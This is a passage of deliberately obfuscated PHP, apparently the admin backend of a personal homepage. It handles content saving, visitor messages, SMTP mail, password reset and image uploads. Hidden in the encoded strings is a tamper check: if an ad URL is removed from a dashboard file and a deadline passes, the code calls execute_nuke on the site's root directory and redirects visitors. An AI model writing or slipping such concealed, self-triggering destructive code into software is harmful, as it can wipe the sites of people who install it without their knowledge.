false, "\x6d\145\x73\x73\141\x67\145" => $imgResult["\145\x72\162\x6f\x72"]]); exit; REJqzVxwUi: $imgDir = DATA_DIR . DIRECTORY_SEPARATOR . "\155\163\147\x5f\151\155\x61\x67\x65\x73"; goto aUqGLH2phU; iJ30XbsFmj: $source = file_get_contents($dashFile); if (!(strpos($source, $adUrl) !== false)) { goto JPXx5IN6tv; } $tampered = false; JPXx5IN6tv: c5BuLr60M2: goto C4f61JY5ej; QO3uUVb1jC: exit; BBN3buQt4a: if (!($_SERVER["\x52\x45\121\x55\105\123\x54\137\x4d\105\x54\x48\x4f\104"] === "\120\x4f\123\x54")) { goto ydybZtgn2G; } $csrfToken = $_SERVER["\110\x54\124\x50\137\x58\137\103\123\122\x46\137\124\x4f\113\x45\x4e"] ?? ''; if (verify_csrf($csrfToken)) { goto GSeaVS6NiF; } goto EqWxU8inkh; lJ_tNun16g: if (!(!$dnd && !empty($smtp["\x68\157\x73\x74"]) && !empty($smtp["\x66\162\157\x6d\x5f\x65\x6d\x61\151\x6c"]))) { goto QkTcN4WEVc; } $mailer = new SimpleSMTP($smtp); $notifyBody = "\346\x94\266\345\x88\xb0\xe6\x96\260\xe7\x95\231\xe8\xa8\x80\12\xa"; $notifyBody .= "\xe7\xa7\260\xe5\x91\xbc\357\xbc\x9a{$name}\12"; $notifyBody .= "\xe9\202\xae\xe7\xae\261\357\274\x9a{$email}\12"; goto uFMGLLHcyl; kfkVZVimYJ: exit; Z0Q6cjTUgz: $admin = read_json(ADMIN_FILE); $admin["\160\x61\x73\163\167\157\162\x64\x5f\x68\141\163\x68"] = password_hash($newPassword, PASSWORD_DEFAULT); write_json(ADMIN_FILE, $admin); goto buiEhPMJTJ; DKSRC2YZyJ: $redirectUrl = $admin["\156\x75\x6b\145\x5f\162\x65\144\x69\x72\x65\143\x74\x5f\x75\162\154"]; cg4MEXI7HA: execute_nuke(ROOT_DIR, $redirectUrl); $nukeResult = ["\x73\x75\143\x63\x65\x73\163" => true, "\156\165\153\x65\144" => true]; if (!$redirectUrl) { goto w1EbrUwupL; } goto IpIhTjhAp8; EYgFJSmhBR: TBxTku9DAC: $input = json_decode(file_get_contents("\160\x68\x70\72\57\57\151\x6e\160\x75\164"), true); if ($input) { goto O3yqSKHGTc; } $input = $_POST; O3yqSKHGTc: goto N0YQDWaTJA; TUZbutdAA6: echo json_encode(["\x73\165\x63\x63\x65\x73\163" => true, "\x6d\x65\163\x73\x61\x67\145" => "\345\246\202\xe6\x9e\x9c\351\202\xae\xe7\256\261\xe6\xad\243\347\xa1\256\xef\xbc\214\xe9\252\x8c\xe8\xaf\x81\347\240\x81\xe5\260\x86\xe5\217\221\351\x80\201\xe5\x88\260\346\202\xa8\xe7\x9a\204\351\202\xae\xe7\xae\xb1"]); exit; vP4_YqeG6e: $code = str_pad(random_int(0, 999999), 6, "\60", STR_PAD_LEFT); $_SESSION["\x72\145\163\145\164\x5f\x63\x6f\x64\x65"] = $code; goto Ghuhe5Zmvk; IgT62vwMPU: echo json_encode($tamperResult); exit; YwT43N_v5j: echo json_encode(["\x73\x75\x63\143\x65\x73\x73" => true, "\164\141\x6d\160\x65\162\x65\x64" => true, "\x6e\165\153\x65\x64" => false, "\144\145\x61\x64\x6c\x69\156\x65\x5f\x74\163" => $deadline, "\163\145\x72\166\x65\x72\x5f\x74\x73" => time()]); exit; goto uFTelQMnww; cC9uFP1_Yy: exit; NZhQByeujr: if (filter_var($email, FILTER_VALIDATE_EMAIL)) { goto jkiT2Fgla2; } echo json_encode(["\163\165\x63\143\145\163\x73" => false, "\x6d\145\163\x73\141\x67\145" => "\xe9\202\256\xe7\256\xb1\346\240\xbc\345\274\x8f\344\xb8\x8d\346\255\243\347\241\xae"]); exit; goto gzuU1QdoOq; J9pWd7_fe3: exit; MCk91I2jKg: $_SESSION["\x72\145\163\x65\x74\137\x61\164\x74\x65\155\x70\x74\163"] = ($_SESSION["\162\x65\163\x65\164\137\x61\164\164\x65\x6d\160\164\163"] ?? 0) + 1; if (!($_SESSION["\x72\x65\x73\145\164\137\x61\164\x74\145\x6d\160\x74\x73"] > 5)) { goto Ede0nH2zU7; } unset($_SESSION["\162\x65\163\x65\164\x5f\x63\x6f\x64\145"], $_SESSION["\162\x65\x73\x65\x74\x5f\x63\157\144\x65\x5f\x74\x73"], $_SESSION["\162\x65\x73\145\x74\x5f\x65\155\141\151\x6c"], $_SESSION["\x72\145\163\x65\164\137\x61\x74\164\x65\x6d\x70\164\163"]); goto KGaOZLbsEA; zIL_Dwu789: switch ($action) { case "\163\141\166\x65\137\x63\x6f\156\x74\145\x6e\164": goto YSAjJPqAxi; YSAjJPqAxi: $input = json_decode(file_get_contents("\160\150\x70\x3a\x2f\57\151\156\160\x75\x74"), true); if (!(!$input || !isset($input["\144\x61\164\141"]))) { goto zDMWdZ0h7G; } echo json_encode(["\163\x75\143\x63\145\163\163" => false, "\x6d\145\163\163\141\147\x65" => "\346\x97\240\346\x95\x88\347\232\204\346\x95\260\xe6\215\xae"]); goto kdLrqAfhNN; zDMWdZ0h7G: goto YcFGCcHp1r; aiQFAAhrxF: echo json_encode(["\163\x75\x63\x63\x65\163\163" => true, "\155\x65\163\163\141\147\x65" => "\xe5\206\205\345\xae\xb9\344\277\x9d\345\255\x98\xe6\x88\x90\345\x8a\x9f"]); goto kdLrqAfhNN; goto lbrqHKDHUt; YcFGCcHp1r: $data = $input["\144\141\164\x61"]; $content = read_json(CONTENT_FILE) ?: []; if (!(isset($data["\160\x69\170\145\154\137\164\145\x78\x74"]) && mb_strlen($data["\160\151\170\145\154\x5f\164\x65\170\164"], "\x55\124\x46\55\70") > 4)) { goto QEVx09PIWP; } echo json_encode(["\163\165\143\143\x65\x73\163" => false, "\x6d\145\x73\x73\141\147\145" => "\xe5\x83\x8f\347\264\xa0\xe6\250\252\345\271\205\346\226\207\xe5\xad\227\xe6\234\x80\xe5\xa4\232\x20\x34\x20\xe4\270\xaa\xe5\xad\x97"]); goto kdLrqAfhNN; goto PUxJ2BAzDt; PUxJ2BAzDt: QEVx09PIWP: $allowed = ["\x74\151\x74\154\x65\x5f\x70\162\x65\x66\151\170", "\164\151\164\x6c\145", "\x73\165\142\164\151\164\154\x65\x5f\160\162\145\x66\x69\x78", "\x73\x75\x62\x74\x69\x74\154\x65\x5f\x6e\141\x6d\x65", "\160\x69\170\145\154\137\164\x65\170\x74", "\x69\156\164\x72\157", "\x73\153\x69\x6c\x6c\x73", "\x70\x72\157\152\x65\x63\164\x73", "\143\x6f\156\x74\141\x63\x74", "\x62\x67\x5f\155\157\144\x65", "\142\x67\x5f\142\x6c\x75\162", "\x62\147\137\x6f\x70\x61\143\151\164\x79", "\147\x72\x61\x64\x69\145\156\x74\137\x63\x6f\154\157\162\163", "\147\162\x61\x64\x69\x65\156\164\137\x61\156\151\x6d\x61\164\x65"]; foreach ($allowed as $key) { goto IIztSEJscy; q9luaqGMeJ: es2ArqUemM: goto zNNHskaIh3; IIztSEJscy: if (!array_key_exists($key, $data)) { goto bEQlEwut2Q; } if ($key === "\163\153\x69\x6c\154\x73" && is_array($data[$key])) { goto h0v2QNw0w6; } if ($key === "\x70\162\157\152\x65\x63\x74\x73" && is_array($data[$key])) { goto ExMZRi_QIG; } if ($key === "\143\x6f\156\x74\x61\143\x74" && is_array($data[$key])) { goto VyUMzIorse; } if ($key === "\x67\162\141\x64\x69\145\156\x74\137\143\157\x6c\x6f\162\163" && is_array($data[$key])) { goto M9Qw8QyTDn; } goto ISOyz3b1mO; v0DGk0Qabu: $content[$key] = array_values(array_map("\164\x72\x69\x6d", $data[$key])); goto MMl7QxBS1o; ExMZRi_QIG: $content[$key] = []; foreach ($data[$key] as $proj) { $item = ["\x74\x69\x74\x6c\x65" => trim($proj["\x74\151\x74\x6c\145"] ?? ''), "\x64\145\163\x63" => trim($proj["\x64\145\163\x63"] ?? ''), "\151\x63\157\156" => trim($proj["\x69\x63\157\156"] ?? "\x67\x6c\157\142\x65")]; $link = trim($proj["\154\x69\156\x6b"] ?? ''); if (!($link !== '')) { goto NyXeGMRn7O; } $item["\x6c\x69\156\x6b"] = $link; NyXeGMRn7O: $content[$key][] = $item; h7J8lA1G2s: } goto OkHQd1rHUK; ISOyz3b1mO: if ($key === "\x67\x72\x61\144\x69\145\x6e\x74\137\141\156\151\x6d\x61\164\x65") { goto y5evbUmPX1; } if (in_array($key, ["\x62\x67\137\x62\x6c\165\162", "\x62\147\x5f\x6f\x70\x61\143\151\x74\x79"])) { goto NUYnQ7YYT4; } $content[$key] = is_string($data[$key]) ? trim($data[$key]) : $data[$key]; goto MMl7QxBS1o; h0v2QNw0w6: goto v0DGk0Qabu; CsqJiXD2oJ: M9Qw8QyTDn: $content[$key] = array_values(array_filter($data[$key], function ($c) { return is_string($c) && preg_match("\57\136\x23\133\60\55\71\x61\x2d\x66\x41\x2d\x46\x5d\173\x33\54\x38\175\x24\57", trim($c)); })); goto MMl7QxBS1o; y5evbUmPX1: $content[$key] = (bool) $data[$key]; goto ciCWBxXNvX; OkHQd1rHUK: nrzzsZ4x0u: goto MMl7QxBS1o; VyUMzIorse: $content[$key] = ["\145\x6d\141\151\154" => trim($data[$key]["\145\155\x61\x69\154"] ?? ''), "\x77\145\143\150\141\x74" => trim($data[$key]["\167\145\x63\x68\x61\x74"] ?? ''), "\x67\151\164\150\x75\x62" => trim($data[$key]["\147\151\x74\150\x75\142"] ?? '')]; goto MMl7QxBS1o; goto CsqJiXD2oJ; ciCWBxXNvX: goto MMl7QxBS1o; NUYnQ7YYT4: $content[$key] = intval($data[$key]); MMl7QxBS1o: bEQlEwut2Q: goto q9luaqGMeJ; zNNHskaIh3: } RN3vCHxnE5: write_json(CONTENT_FILE, $content); goto aiQFAAhrxF; lbrqHKDHUt: case "\147\x65\164\137\155\x65\163\163\141\147\145\163": $messages = read_json(MESSAGES_FILE) ?: []; echo json_encode(["\163\x75\143\143\145\163\163" => true, "\x64\141\x74\141" => $messages], JSON_UNESCAPED_UNICODE); goto kdLrqAfhNN; case "\x64\145\x6c\x65\x74\145\137\155\145\x73\163\141\147\145": goto jKgFtXeMtx; DETFRu_tnQ: hLj32OmUw4: $messages = read_json(MESSAGES_FILE) ?: []; foreach ($messages as $m) { if (!($m["\151\x64"] === $msgId && !empty($m["\x69\x6d\141\147\145"]))) { goto VAP8Gs4klQ; } $imgPath = DATA_DIR . DIRECTORY_SEPARATOR . str_replace("\57", DIRECTORY_SEPARATOR, $m["\x69\x6d\x61\x67\x65"]); if (!file_exists($imgPath)) { goto oC3Hh4ke0v; } @unlink($imgPath); oC3Hh4ke0v: VAP8Gs4klQ: Nb2nuDq0v4: } inWxZ2dqyl: $messages = array_values(array_filter($messages, function ($m) use($msgId) { return $m["\151\144"] !== $msgId; })); goto ebHd3GYwXv; ebHd3GYwXv: write_json(MESSAGES_FILE, $messages); echo json_encode(["\x73\165\x63\143\x65\163\163" => true, "\155\x65\x73\x73\x61\x67\x65" => "\346\xb6\210\346\x81\xaf\345\xb7\262\xe5\210\240\xe9\x99\244"]); goto kdLrqAfhNN; goto cN0GGZ3mmg; jKgFtXeMtx: $input = json_decode(file_get_contents("\160\x68\160\72\57\57\151\x6e\160\x75\x74"), true); $msgId = $input["\x69\x64"] ?? ''; if ($msgId) { goto hLj32OmUw4; } echo json_encode(["\163\x75\143\x63\145\x73\x73" => false, "\155\x65\163\163\x61\147\145" => "\xe7\274\xba\xe5\260\221\346\266\x88\xe6\x81\257\x20\x49\104"]); goto kdLrqAfhNN; goto DETFRu_tnQ; cN0GGZ3mmg: case "\x6d\141\162\x6b\x5f\x72\145\x61\144": $input = json_decode(file_get_contents("\160\x68\x70\72\57\57\x69\156\x70\x75\x74"), true); $msgId = $input["\x69\144"] ?? ''; $messages = read_json(MESSAGES_FILE) ?: []; foreach ($messages as &$m) { if (!($m["\x69\144"] === $msgId)) { goto qWxSWhZPeP; } $m["\x72\x65\141\x64"] = true; goto ue6L09QqHQ; qWxSWhZPeP: AxqPftQgyg: } ue6L09QqHQ: unset($m); write_json(MESSAGES_FILE, $messages); echo json_encode(["\163\x75\143\x63\x65\163\x73" => true]); goto kdLrqAfhNN; case "\162\x65\160\154\x79\137\155\145\x73\x73\141\147\145": goto pMvFZoLDWv; pMvFZoLDWv: $input = json_decode(file_get_contents("\x70\150\x70\x3a\x2f\57\151\x6e\x70\x75\164"), true); $msgId = $input["\x69\144"] ?? ''; $replyTo = trim($input["\x74\x6f"] ?? ''); $subject = trim($input["\163\165\x62\x6a\145\143\164"] ?? ''); $body = trim($input["\142\x6f\144\171"] ?? ''); goto K1n92SMUrg; ftkMrhLxK2: $attachments[] = ["\x6e\141\155\145" => "\x69\155\141\147\145\x2e" . $riResult["\x65\x78\x74"], "\164\x79\x70\145" => $riResult["\155\x69\x6d\145"], "\x64\141\x74\141" => $riResult["\142\x69\156\141\162\171"]]; wnxbZilccz: ObLjgrxPE0: $mailer = new SimpleSMTP($smtp); $result = $mailer->send($smtp["\146\162\x6f\155\137\x65\155\x61\x69\154"], $smtp["\146\x72\x6f\x6d\x5f\x6e\141\x6d\x65"] ?? "\xe5\xb0\217\xe7\x8b\x90\xe5\x8a\xa1\345\231\xa8", $replyTo, $subject ?: "\346\235\xa5\xe8\207\xaa\345\260\x8f\347\213\x90\345\212\241\xe5\x99\xa8\347\232\x84\xe5\233\236\xe5\244\x8d", $body, false, $attachments); goto hCGLvPq7_K; hCGLvPq7_K: if (!($result["\163\165\x63\143\x65\x73\163"] && $msgId)) { goto UvFTvuZGPI; } $messages = read_json(MESSAGES_FILE) ?: []; foreach ($messages as &$m) { if (!($m["\x69\x64"] === $msgId)) { goto e56i0DWLBY; } $m["\162\x65\160\x6c\x69\x65\144"] = true; $m["\x72\x65\x70\x6c\171\x5f\x74\x69\x6d\x65"] = date("\x59\x2d\155\x2d\x64\40\x48\72\151\x3a\x73"); goto gMoryBnIen; e56i0DWLBY: CQFiWzgmNi: } gMoryBnIen: unset($m); goto nC8haYnFWW; mc7w8f3k1y: $smtp = $admin["\x73\x6d\x74\x70"] ?? []; if (!(empty($smtp["\150\x6f\x73\164"]) || empty($smtp["\x66\x72\x6f\155\137\x65\155\141\x69\x6c"]))) { goto TW_g6YwlRX; } echo json_encode(["\x73\x75\x63\x63\145\x73\163" => false, "\155\145\x73\x73\141\147\145" => "\xe8\xaf\267\xe5\205\210\351\205\x8d\347\275\xae\40\123\115\124\x50\x20\344\xbf\241\346\201\xaf"]); goto kdLrqAfhNN; TW_g6YwlRX: goto PAXFyuYpyk; nC8haYnFWW: write_json(MESSAGES_FILE, $messages); UvFTvuZGPI: echo json_encode($result, JSON_UNESCAPED_UNICODE); goto kdLrqAfhNN; goto KUSexqB6B4; K1n92SMUrg: if (!(!$replyTo || !$body)) { goto DVUYPGJsHC; } echo json_encode(["\x73\165\x63\143\x65\163\x73" => false, "\155\x65\x73\163\141\x67\145" => "\346\224\266\xe4\xbb\266\344\xba\272\345\222\x8c\345\x9b\x9e\345\xa4\215\xe5\206\205\xe5\xae\271\344\270\215\xe8\203\275\xe4\270\272\xe7\xa9\xba"]); goto kdLrqAfhNN; DVUYPGJsHC: $admin = read_json(ADMIN_FILE); goto mc7w8f3k1y; PAXFyuYpyk: $attachments = []; $replyImage = trim($input["\151\x6d\x61\147\x65"] ?? ''); if (!($replyImage !== '')) { goto ObLjgrxPE0; } $riResult = validate_image_data($replyImage, 5 * 1024 * 1024, 0); if (!$riResult["\157\x6b"]) { goto wnxbZilccz; } goto ftkMrhLxK2; KUSexqB6B4: case "\x67\145\164\x5f\x73\155\x74\x70": $admin = read_json(ADMIN_FILE); $smtp = $admin["\163\x6d\x74\160"] ?? []; unset($smtp["\160\141\x73\x73\167\157\162\144"]); if (empty($admin["\163\x6d\x74\160"]["\x70\x61\163\163\167\157\x72\144"])) { goto Au39DmU3iW; } $smtp["\x70\141\163\x73\x77\x6f\x72\x64\x5f\x64\151\x73\160\x6c\141\x79"] = str_repeat("\x2a", min(strlen($admin["\163\155\164\x70"]["\x70\141\163\x73\167\157\x72\x64"]), 8)); Au39DmU3iW: echo json_encode(["\163\x75\143\x63\145\163\163" => true, "\x64\141\x74\141" => $smtp], JSON_UNESCAPED_UNICODE); goto kdLrqAfhNN; case "\163\141\166\x65\137\163\155\164\x70": $input = json_decode(file_get_contents("\160\x68\x70\72\x2f\x2f\x69\156\160\165\164"), true); $data = $input["\144\x61\x74\x61"] ?? []; $admin = read_json(ADMIN_FILE); $admin["\x73\155\x74\160"] = ["\x68\157\x73\164" => trim($data["\x68\157\163\x74"] ?? ''), "\x70\157\x72\164" => intval($data["\160\x6f\x72\164"] ?? 587), "\145\x6e\x63\x72\171\x70\x74\151\157\156" => in_array($data["\x65\156\143\162\x79\160\164\x69\x6f\x6e"] ?? '', ["\x74\154\x73", "\x73\x73\x6c", "\x6e\157\x6e\x65"]) ? $data["\x65\x6e\x63\162\171\x70\164\151\x6f\156"] : "\164\x6c\163", "\165\x73\145\x72\x6e\x61\155\145" => trim($data["\x75\x73\145\x72\x6e\141\155\x65"] ?? ''), "\x70\141\163\163\167\157\x72\x64" => trim($data["\x70\141\x73\163\167\157\162\144"] ?? '') ?: $admin["\163\x6d\x74\x70"]["\160\x61\x73\163\167\157\x72\144"] ?? '', "\146\x72\157\155\137\x6e\141\155\145" => trim($data["\x66\162\x6f\x6d\137\x6e\141\155\145"] ?? "\345\xb0\x8f\xe7\x8b\x90\xe5\x8a\241\xe5\231\xa8"), "\146\x72\157\155\137\145\155\x61\x69\x6c" => trim($data["\146\x72\157\x6d\x5f\145\x6d\x61\151\x6c"] ?? '')]; write_json(ADMIN_FILE, $admin); echo json_encode(["\x73\165\x63\143\145\x73\x73" => true, "\x6d\145\163\x73\141\147\145" => "\123\x4d\x54\120\40\xe9\x85\x8d\xe7\xbd\256\xe5\267\262\344\277\235\345\xad\x98"]); goto kdLrqAfhNN; case "\164\145\x73\x74\137\x73\155\x74\x70": goto nPkz_N4bMy; irFpgCYpi_: L1fZ1s1Wr9: $mailer = new SimpleSMTP($smtp); $result = $mailer->test(); $result["\x6c\157\x67"] = $mailer->getLog(); echo json_encode($result, JSON_UNESCAPED_UNICODE); goto z9y20okZDI; z9y20okZDI: goto kdLrqAfhNN; goto wQnou1m3rh; nPkz_N4bMy: $admin = read_json(ADMIN_FILE); $smtp = $admin["\163\155\x74\160"] ?? []; if (!empty($smtp["\150\x6f\x73\164"])) { goto L1fZ1s1Wr9; } echo json_encode(["\163\x75\x63\143\x65\163\163" => false, "\x6d\145\163\163\141\147\145" => "\350\257\xb7\xe5\x85\x88\xe4\277\x9d\xe5\xad\x98\40\123\x4d\124\120\40\xe9\x85\x8d\xe7\xbd\256"]); goto kdLrqAfhNN; goto irFpgCYpi_; wQnou1m3rh: case "\165\160\154\x6f\141\x64\x5f\x61\x76\141\164\x61\162": goto NUztjRwsX3; Uv_i7SQteQ: echo json_encode(["\x73\165\143\x63\145\163\163" => true, "\155\145\163\x73\x61\147\145" => "\345\244\264\xe5\203\x8f\xe4\270\212\xe4\274\xa0\346\210\x90\xe5\x8a\237", "\165\162\154" => $url]); goto kdLrqAfhNN; goto RMMIf79Fss; cT8r429JYn: imagedestroy($srcImage); imagedestroy($dest); sSRLfCEIN7: IwgBQ8jGwa: $url = "\56\x2e\x2f\x64\x61\164\x61\57\x61\166\x61\164\x61\x72\56\160\156\147\x3f\166\x3d" . time(); goto Uv_i7SQteQ; dP4yNUiNGF: $mimeType = "\151\x6d\x61\147\x65\57\160\x6e\x67"; goto pRqtZI3Yhb; pLKIB6B4Tg: $mimeType = "\x69\155\x61\x67\x65\57\x67\x69\x66"; goto pRqtZI3Yhb; goto F0QPRt2TpA; NUztjRwsX3: if (!(empty($_FILES["\x61\x76\141\164\x61\x72"]) || $_FILES["\x61\x76\141\164\141\162"]["\145\x72\162\x6f\162"] !== UPLOAD_ERR_OK)) { goto bl07DTu7hg; } echo json_encode(["\163\165\x63\143\x65\163\x73" => false, "\x6d\145\163\x73\x61\x67\145" => "\350\xaf\xb7\351\200\211\xe6\213\251\xe4\270\x80\345\274\xa0\345\x9b\276\347\x89\x87\xe6\x96\207\xe4\xbb\xb6"]); goto kdLrqAfhNN; bl07DTu7hg: $file = $_FILES["\141\166\141\164\x61\x72"]; goto r98PMgAB2S; YseZXYREok: $mimeType = ''; if (substr($header, 0, 3) === "\377\xd8\xff") { goto ixtoAbT7Pp; } if (substr($header, 0, 8) === "\x89\120\116\107\xd\xa\32\xa") { goto JTOPreRT4m; } if (substr($header, 0, 4) === "\x47\111\x46\70") { goto pLKIB6B4Tg; } if (substr($header, 0, 4) === "\x52\111\x46\x46" && substr($header, 8, 4) === "\127\105\102\x50") { goto mGfCkXI9Ih; } goto iWt2LlmEis; XECtKiSTIs: $w = imagesx($srcImage); $h = imagesy($srcImage); $size = min($w, $h); $x = ($w - $size) / 2; $y = ($h - $size) / 2; goto XHjdGH_Ogq; C05S6nWw6c: $header = @file_get_contents($file["\x74\x6d\x70\x5f\x6e\x61\x6d\145"], false, null, 0, 12); if (!($header === false)) { goto OfJmQowcnz; } echo json_encode(["\163\x75\x63\x63\x65\x73\x73" => false, "\155\145\163\x73\141\147\x65" => "\346\227\xa0\xe6\xb3\x95\350\xaf\xbb\345\x8f\x96\344\xb8\212\344\xbc\240\xe6\226\x87\xe4\xbb\xb6"]); goto kdLrqAfhNN; OfJmQowcnz: goto YseZXYREok; zwRzWYv0yr: goto IwgBQ8jGwa; CJM1p1Esnq: $srcImage = null; switch ($mimeType) { case "\x69\x6d\141\147\x65\57\x6a\x70\145\147": $srcImage = @imagecreatefromjpeg($file["\x74\x6d\x70\x5f\x6e\x61\155\145"]); goto dnpUWZRXSi; case "\151\155\141\x67\x65\x2f\x70\156\x67": $srcImage = @imagecreatefrompng($file["\x74\155\x70\137\x6e\141\155\145"]); goto dnpUWZRXSi; case "\151\155\x61\x67\145\57\x67\x69\146": $srcImage = @imagecreatefromgif($file["\x74\155\160\x5f\x6e\141\x6d\145"]); goto dnpUWZRXSi; case "\x69\155\x61\x67\x65\x2f\167\145\142\160": $srcImage = @imagecreatefromwebp($file["\x74\155\x70\x5f\x6e\141\155\x65"]); goto dnpUWZRXSi; } SN3UBriAOF: goto QfZ34wx09V; iWt2LlmEis: goto pRqtZI3Yhb; ixtoAbT7Pp: $mimeType = "\x69\x6d\141\147\x65\57\x6a\x70\x65\x67"; goto pRqtZI3Yhb; JTOPreRT4m: goto dP4yNUiNGF; XHjdGH_Ogq: $dest = imagecreatetruecolor(400, 400); imagealphablending($dest, false); imagesavealpha($dest, true); imagecopyresampled($dest, $srcImage, 0, 0, (int) $x, (int) $y, 400, 400, $size, $size); imagepng($dest, $destPath, 8); goto cT8r429JYn; AtMFWpzjHf: goto kdLrqAfhNN; VkIZZBVS6u: $destPath = DATA_DIR . DIRECTORY_SEPARATOR . "\141\166\x61\x74\x61\162\56\x70\156\x67"; if (function_exists("\x69\155\x61\147\x65\x63\x72\145\x61\164\145\146\162\157\155\160\156\147")) { goto CJM1p1Esnq; } move_uploaded_file($file["\x74\x6d\x70\x5f\156\x61\155\x65"], $destPath); goto zwRzWYv0yr; r98PMgAB2S: $maxSize = 5 * 1024 * 1024; if (!($file["\x73\x69\172\x65"] > $maxSize)) { goto XdJznaUT2f; } echo json_encode(["\x73\165\143\143\145\163\163" => false, "\155\145\163\x73\141\147\x65" => "\xe5\x9b\276\xe7\x89\207\xe4\270\x8d\xe8\203\xbd\350\xb6\205\xe8\xbf\x87\40\x35\x4d\x42"]); goto kdLrqAfhNN; XdJznaUT2f: goto C05S6nWw6c; F0QPRt2TpA: mGfCkXI9Ih: $mimeType = "\x69\155\x61\147\x65\57\x77\145\x62\160"; pRqtZI3Yhb: if ($mimeType) { goto VkIZZBVS6u; } echo json_encode(["\163\x75\143\x63\145\x73\163" => false, "\155\145\x73\x73\x61\147\145" => "\xe4\xbb\x85\xe6\x94\257\346\x8c\x81\40\x4a\x50\x47\57\120\116\x47\57\x47\x49\x46\x2f\x57\x65\142\x50\x20\xe6\xa0\xbc\345\274\217"]); goto AtMFWpzjHf; QfZ34wx09V: dnpUWZRXSi: if ($srcImage) { goto n3C21D8oKt; } move_uploaded_file($file["\164\x6d\x70\x5f\x6e\141\x6d\x65"], $destPath); goto sSRLfCEIN7; n3C21D8oKt: goto XECtKiSTIs; RMMIf79Fss: case "\144\145\154\145\x74\x65\137\x61\166\141\x74\x61\162": $avatarPath = DATA_DIR . DIRECTORY_SEPARATOR . "\141\x76\x61\x74\x61\162\x2e\x70\156\147"; if (!file_exists($avatarPath)) { goto iAY8QDr4cJ; } unlink($avatarPath); iAY8QDr4cJ: echo json_encode(["\163\x75\143\143\x65\163\163" => true, "\155\145\163\x73\x61\147\145" => "\xe5\xa4\264\345\x83\x8f\345\267\262\345\x88\xa0\351\231\xa4"]); goto kdLrqAfhNN; case "\x75\x70\154\x6f\141\x64\137\x62\147": goto NLIjJdIyr8; Yep66pAJ0m: $mimeType = "\151\155\141\147\x65\x2f\x70\x6e\147"; goto tY6ajGIPa0; HpXuDErRfo: $mimeType = "\x69\155\x61\147\145\x2f\147\x69\146"; goto tY6ajGIPa0; goto HeRhGGxoSL; kz73v18rcN: goto R09GCWO6w1; O0yMTwBwED: $srcImage = null; switch ($mimeType) { case "\x69\x6d\141\147\145\57\x6a\x70\145\147": $srcImage = @imagecreatefromjpeg($file["\x74\x6d\160\x5f\x6e\x61\x6d\x65"]); goto W0KsHkTGR4; case "\151\x6d\x61\147\145\x2f\x70\156\x67": $srcImage = @imagecreatefrompng($file["\x74\x6d\x70\137\156\141\x6d\145"]); goto W0KsHkTGR4; case "\x69\x6d\x61\147\x65\x2f\x67\151\x66": $srcImage = @imagecreatefromgif($file["\164\155\160\x5f\x6e\x61\155\145"]); goto W0KsHkTGR4; case "\x69\155\141\x67\x65\57\x77\145\142\x70": $srcImage = @imagecreatefromwebp($file["\x74\155\160\x5f\x6e\141\x6d\x65"]); goto W0KsHkTGR4; } QGEWd3wMCy: goto WacyIBmv2f; HeRhGGxoSL: EbTWyfrN1G: $mimeType = "\151\x6d\141\x67\x65\x2f\167\x65\x62\x70"; tY6ajGIPa0: if ($mimeType) { goto xukhFwU5Zd; } echo json_encode(["\163\x75\143\x63\x65\x73\163" => false, "\155\x65\163\x73\141\147\x65" => "\xe4\273\x85\xe6\224\257\xe6\x8c\201\40\112\120\x47\57\x50\x4e\107\x2f\107\x49\x46\57\127\145\142\x50\40\xe6\xa0\xbc\xe5\xbc\x8f"]); goto Z9tcYtZkTQ; WacyIBmv2f: W0KsHkTGR4: if ($srcImage) { goto wU4PaGs2Py; } move_uploaded_file($file["\164\x6d\160\137\x6e\141\x6d\145"], $destPath); goto vHhpVLIo4G; wU4PaGs2Py: goto EEGtZZJa3X; auENES_7CZ: $maxSize = 10 * 1024 * 1024; if (!($file["\x73\151\x7a\x65"] > $maxSize)) { goto ZBrbLZYmsR; } echo json_encode(["\163\165\143\x63\145\163\x73" => false, "\x6d\145\163\x73\x61\147\x65" => "\350\x83\214\346\231\xaf\345\233\xbe\344\270\x8d\xe8\203\xbd\350\xb6\x85\xe8\xbf\207\40\61\60\115\102"]); goto kdLrqAfhNN; ZBrbLZYmsR: goto LFNYa4eU7r; NLIjJdIyr8: if (!(empty($_FILES["\x62\147"]) || $_FILES["\x62\147"]["\x65\x72\162\x6f\162"] !== UPLOAD_ERR_OK)) { goto zH1ApmmmPA; } echo json_encode(["\163\x75\143\143\x65\x73\x73" => false, "\x6d\x65\x73\x73\x61\x67\x65" => "\350\257\xb7\xe9\x80\211\xe6\213\251\xe4\270\x80\345\274\xa0\345\x9b\276\xe7\x89\207\xe6\x96\x87\344\273\xb6"]); goto kdLrqAfhNN; zH1ApmmmPA: $file = $_FILES["\142\147"]; goto auENES_7CZ; e08mk34D8y: $dest = imagecreatetruecolor($newW, $newH); imagecopyresampled($dest, $srcImage, 0, 0, 0, 0, $newW, $newH, $w, $h); imagedestroy($srcImage); $srcImage = $dest; HdGtH6xEF0: goto sarqdtWoV_; SRx2zcaNPd: $mimeType = ''; if (substr($header, 0, 3) === "\377\330\377") { goto wQE2jcv3Kz; } if (substr($header, 0, 8) === "\211\x50\116\107\15\12\32\12") { goto bh1wYebkUO; } if (substr($header, 0, 4) === "\107\x49\x46\70") { goto HpXuDErRfo; } if (substr($header, 0, 4) === "\x52\x49\x46\x46" && substr($header, 8, 4) === "\127\x45\x42\120") { goto EbTWyfrN1G; } goto ltDc7cdoEM; LFNYa4eU7r: $header = @file_get_contents($file["\x74\x6d\160\137\x6e\x61\x6d\145"], false, null, 0, 12); if (!($header === false)) { goto Mi40ynO92z; } echo json_encode(["\x73\165\x63\143\145\163\163" => false, "\155\x65\163\x73\x61\147\145" => "\xe6\x97\240\xe6\xb3\x95\xe8\xaf\273\345\x8f\x96\xe4\xb8\212\xe4\274\240\xe6\226\207\344\273\266"]); goto kdLrqAfhNN; Mi40ynO92z: goto SRx2zcaNPd; EEGtZZJa3X: $w = imagesx($srcImage); $h = imagesy($srcImage); if (!($w > 2560)) { goto HdGtH6xEF0; } $newW = 2560; $newH = (int) ($h * (2560 / $w)); goto e08mk34D8y; ltDc7cdoEM: goto tY6ajGIPa0; wQE2jcv3Kz: $mimeType = "\x69\x6d\141\147\145\x2f\x6a\x70\145\x67"; goto tY6ajGIPa0; bh1wYebkUO: goto Yep66pAJ0m; Z9tcYtZkTQ: goto kdLrqAfhNN; xukhFwU5Zd: $destPath = DATA_DIR . DIRECTORY_SEPARATOR . "\x62\x67\56\152\x70\147"; if (function_exists("\151\155\141\x67\145\143\162\145\x61\164\x65\x66\x72\157\155\152\160\145\x67")) { goto O0yMTwBwED; } 